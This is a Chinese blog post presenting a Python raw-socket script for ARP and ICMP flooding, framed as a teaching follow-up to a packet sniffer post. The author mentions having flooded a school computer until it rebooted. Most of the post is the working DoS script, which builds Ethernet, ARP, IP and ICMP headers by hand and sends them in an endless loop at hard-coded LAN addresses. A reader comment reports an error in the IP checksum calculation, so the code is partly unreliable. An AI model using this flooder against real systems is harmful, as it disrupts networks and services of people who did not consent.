這一篇接在用Python寫一個簡單的Sniffer的後面
了解封包拆解的過程後,組封包也就沒那麼難以理解了
投影片一樣在Python 教育訓練課程裡
我在大學專題時,接觸了不少 DOS攻擊程式,其它還有木馬、蠕蟲等等
第一隻自已寫的DOS程式,一樣是使用 winpcap 寫的
當時除了是課程要求之外,實際上還為了測試網卡到底可以送多快
寫了一隻 ICMP Flooding,拿去學校電腦試引擎
記憶中好像是每秒可以打13萬左右,然後…電腦就重開機了…
學校的防火牆做得還不錯嘛…哼!
程式方面,因為時間不夠的關係
只寫了ARP和ICMP Flooding
原始碼
# -*- encoding: utf-8 -*-
from __future__ import print_function
import struct
import socket
import binascii
import sys
TESTCASE_ARP = 0
TESTCASE_ICMP = 1
Interface = "eno50332184"
def arp_generator():
arp = arp_header('448a5b468c24', '192.168.20.131', '000000000000', '192.168.20.1')
eth = eth_header('448a5b468c24', 'ffffffffffff', '0806')
frame = [eth, arp]
return b''.join(frame)
def icmp_generator(proto_base=socket.IPPROTO_RAW):
payload = b"Hello World!"
total_len = len(payload)
# calc icmp checksum
icmp_psh = icmp_header(0x08, 0x0, 0, 1, 1)
icmp_check = checksum(icmp_psh + payload)
icmp = icmp_header(0x08, 0x0, icmp_check, 1, 1)
# Generate ICMP header only
if proto_base == socket.IPPROTO_ICMP:
return icmp + payload
payload = icmp + payload
total_len = len(payload)
# calc ip checksum
ip_psh = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234)
ip_check = checksum(ip_psh + payload)
ip_total_length = 20 + total_len # ip header default is 20, if no option
ip = ip_header('192.168.20.1', '192.168.20.129', 0x01, id=0x1234, Checksum=ip_check, Total_Len=ip_total_length)
payload = ip + payload
total_len = len(payload)
eth = eth_header('000c29c2f9a4', '10c37b914fc9', '0800')
frame = [eth, payload]
return b''.join(frame)
def checksum(data):
length = len(data)
s = 0
n = length % 2
# type(data) is bytes in python3
if sys.version_info[0] > 2:
for i in range(0, length - n, 2):
s += data[i] + (data[i + 1] << 8)
if n:
s += data[-1]
else: # type(data) is str, not bytes in python2
for i in range(0, length - n, 2):
s += ord(data[i]) + (ord(data[i + 1]) << 8)
if n:
s += ord(data[-1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
def arp_header(SMAC, SIP, DMAC, DIP, HTYPE=0x0001, PTYPE=0x0800, HLEN=0x06, PLEN=0x04, OPER=0x01):
"""Generate arp header
HTYPE : Ethernet = 0x0001,
PTYPE : IPv4 = 0x0800,
HLEN : IEEE 802 MAC addresses = 6,
PLEN : IPv4 = 4,
OPER : Request = 0x01; Reply = 0x02
:return: arp header
"""
return struct.pack("!HHBBH6s4s6s4s",
HTYPE, PTYPE, HLEN, PLEN, OPER,
binascii.a2b_hex(SMAC), socket.inet_aton(SIP),
binascii.a2b_hex(DMAC), socket.inet_aton(DIP))
def icmp_header(Type=0x08, Code=0, Checksum=0, id=0, seq=0):
"""Generate a ICMP header
:param Type: Echo request = 0x08
:param Code: 0
:param Checksum:
:return: icmp header
"""
if Type == 0x08:
return struct.pack("!BBHHH", Type, Code, socket.htons(Checksum), id, seq)
else:
return struct.pack("!BBH", Type, Code, socket.htons(Checksum))
def ip_header(SIP, DIP, proto, version=0x04, IHL=0x05, DiffServ=0, ECN=0, Total_Len = 0, id=0, Flags=0x02, Frag_offset=0, TTL=0xff, Checksum = 0):
"""Generate ip header
Version : 4,
IHL : Header length / 4
DiffServ : default is 0
ECN :
Total length: 20 ~ 65535
id :
Flags : Dont Fragment (DF) = 0x02; More Fragments (MF) = 0x01
Frag_Offset :
TTL : 0 ~ 255
proto : Define the protocol used in the data portion of the IP data
checksum :
SIP : source IP address
DIP : destination IP address
:return: ip header
"""
ip_ver_ihl = (version << 4) + (IHL & 0x0f)
ip_serv_ecn = (DiffServ << 2) + (ECN & 0x03)
ip_flag = (Flags << 13) + (Frag_offset & 0x1fff)
return struct.pack("!BBHHHBBH4s4s",
ip_ver_ihl, ip_serv_ecn, Total_Len, id, ip_flag,
TTL, proto, socket.htons(Checksum),
socket.inet_aton(SIP), socket.inet_aton(DIP))
def eth_header(SMAC, DMAC, type):
return struct.pack('!6s6s2s',
binascii.a2b_hex(DMAC), binascii.a2b_hex(SMAC),
binascii.a2b_hex(type))
def linux_main():
rawSocket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
# Bind the interface, likes eth0
rawSocket.bind((Interface, 0))
if TESTCASE_ARP:
# Generate a arp packet
packet = arp_generator()
elif TESTCASE_ICMP:
# Generate a icmp packet
packet = icmp_generator()
else:
print("No test case exist, quit")
return
# flooding here
i = 0
while True:
i += 1
print("\rSending {0}...".format(i), end='')
rawSocket.send(packet)
rawSocket.close()
def windows_main():
if TESTCASE_ARP:
return
elif TESTCASE_ICMP:
rawSocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
# Generate a icmp packet
packet = icmp_generator(socket.IPPROTO_ICMP)
else:
print("No test case exist, quit")
return
# Bind a interface with public IP
HOST = socket.gethostbyname(socket.gethostname())
rawSocket.bind((HOST, 0))
print("Bind a interface : {0}".format(HOST))
# flooding here
i = 0
while True:
i += 1
print("\rSending {0}...".format(i), end='')
rawSocket.sendto(packet, ('192.168.20.129', 0))
rawSocket.close()
if __name__ == '__main__':
if sys.platform.lower().startswith("win"):
windows_main()
else:
linux_main()
老實說,寫得沒有很好本來是想寫成class,然後用繼承的方式
以後再說唄
板主你好,謝謝你的程式碼有幫助到我,所以我決定也來貢獻一點我的發現。我發現你的ICMP中IP層的checksum算錯,原因是line 40沒有先把ip_total_length加進去一起算checksum,導致結果不正確。
回覆刪除另外IP層計算checksum時,其實是不需要把他的payload一起丟進去算的,所以line 41寫成 ip_check = checksum(ip_psh)其實就可以了。至於為什麼結果還是會對,原因很簡單,因為payload的部份已經把checksum算好放進去,所以他的sum會是0x0000,不影響line 41的結果。
感謝